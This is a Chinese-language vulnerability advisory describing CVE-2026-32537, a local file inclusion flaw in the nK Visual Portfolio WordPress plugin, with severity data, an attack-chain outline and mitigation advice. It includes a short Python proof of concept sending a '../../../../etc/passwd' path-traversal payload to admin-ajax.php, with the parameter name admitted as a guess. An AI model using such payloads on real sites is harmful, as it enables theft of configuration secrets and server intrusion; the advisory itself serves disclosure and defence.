IPBUF安全漏洞报告
English
CVE-2026-32537 CVSS 7.5 高危

CVE-2026-32537 Visual Portfolio插件本地文件包含漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-32537
漏洞类型
文件包含
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
nK Visual Portfolio, Photo Gallery & Post Grid

相关标签

文件包含LFIWordPressCVE-2026-32537PHP漏洞

漏洞概述

nK Visual Portfolio, Photo Gallery & Post Grid 插件存在文件名控制不当漏洞。该漏洞源于 PHP 程序对 Include/Require 语句的文件名处理不严谨,允许攻击者实施 PHP 本地文件包含(LFI)攻击。受影响版本包括 3.5.1 及之前的所有版本。由于该漏洞无需用户交互且具有高机密性、完整性和可用性影响,对 WordPress 站点构成严重威胁。

技术细节

该漏洞的核心在于插件未能正确过滤用户输入的文件路径参数,导致攻击者能够控制 PHP 的 include 或 require 函数所加载的文件。攻击者利用此漏洞,可通过发送特制的 HTTP 请求(通常针对 AJAX 端点),将路径遍历序列(如 '../')注入参数中。这允许攻击者读取服务器上的任意敏感文件(如 wp-config.php 或 /etc/passwd)。在特定配置下(如允许文件上传且文件名可控),本地文件包含可能进一步升级为远程代码执行(RCE),从而完全控制服务器。

攻击链分析

STEP 1
侦察
攻击者扫描目标 WordPress 站点,识别是否存在 nK Visual Portfolio 插件及其版本号。
STEP 2
漏洞利用
攻击者构造包含路径遍历字符(如 ../)的恶意请求,发送至插件的处理端点。
STEP 3
文件包含
服务器端 PHP 脚本未过滤输入,直接将恶意路径传递给 include/require 函数,导致敏感文件被读取。
STEP 4
后渗透
攻击者利用读取到的数据库凭据进一步入侵数据库,或结合其他漏洞尝试获取 Webshell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target = "http://example.com/wp-admin/admin-ajax.php" # Payload for Local File Inclusion # Note: The exact parameter name depends on the vulnerable endpoint implementation params = { "action": "vp_action", "file": "../../../../etc/passwd" # LFI payload } try: response = requests.get(target, params=params, timeout=5) if "root:" in response.text: print("[+] Vulnerability confirmed: /etc/passwd leaked.") else: print("[-] Target may not be vulnerable or payload failed.") except Exception as e: print(f"Error: {e}")

影响范围

nK Visual Portfolio, Photo Gallery & Post Grid <= 3.5.1

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用该插件或通过 WAF(Web应用防火墙)规则拦截包含 '../' 或敏感文件路径的请求。同时,检查服务器日志以确认是否已被攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表